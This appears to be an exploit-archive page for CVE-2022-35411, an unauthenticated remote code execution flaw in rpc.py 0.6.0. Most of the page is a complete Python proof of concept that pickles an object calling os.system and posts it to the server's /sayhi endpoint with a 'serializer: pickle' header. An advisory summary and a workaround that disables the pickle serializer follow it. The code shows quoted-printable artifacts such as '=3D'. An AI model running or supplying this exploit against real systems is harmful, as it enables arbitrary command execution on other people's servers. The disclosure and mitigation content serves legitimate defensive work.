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rpc.py 0.6.0 Remote Code Execution
rpc.py version 0.6.0 suffers from a remote code execution vulnerability.
# Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2022-07-12# Exploit Author: Elias Hohl# Vendor Homepage: https://github.com/abersheeran# Software Link: https://github.com/abersheeran/rpc.py# Version: v0.4.2 - v0.6.0# Tested on: Debian 11, Ubuntu 20.04# CVE : CVE-2022-35411import requestsimport pickle# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.pyHOST =3D "127.0.0.1:65432"URL =3D f"http://{HOST}/sayhi"HEADERS =3D { "serializer": "pickle"}def generate_payload(cmd): class PickleRce(object): def __reduce__(self): import os return os.system, (cmd,) payload =3D pickle.dumps(PickleRce()) print(payload) return payloaddef exec_command(cmd): payload =3D generate_payload(cmd) requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)def main(): exec_command('curl http://127.0.0.1:4321') # exec_command('uname -a')if __name__ =3D=3D "__main__": main()Related news
rpc.py through 0.6.0 allows Remote Code Execution because an unpickle occurs when the "serializer: pickle" HTTP header is sent. In other words, although JSON (not Pickle) is the default data format, an unauthenticated client can cause the data to be processed with unpickle. [Per the maintainer](https://github.com/abersheeran/rpc.py/issues/22), rpc.py is not designed for an API that is open to the outside world, and external requests cannot reach rpc.py in real world use. A [fix](https://github.com/abersheeran/rpc.py/commit/491e7a841ed9a754796d6ab047a9fb16e23bf8bd) exists on the `master` branch. As a workaround, use the following code to turn off pickle in older versions: ``` del SERIALIZER_NAMES[PickleSerializer.name] del SERIALIZER_TYPES[PickleSerializer.content_type]
rpc.py through 0.6.0 allows Remote Code Execution because an unpickle occurs when the "serializer: pickle" HTTP header is sent. In other words, although JSON (not Pickle) is the default data format, an unauthenticated client can cause the data to be processed with unpickle.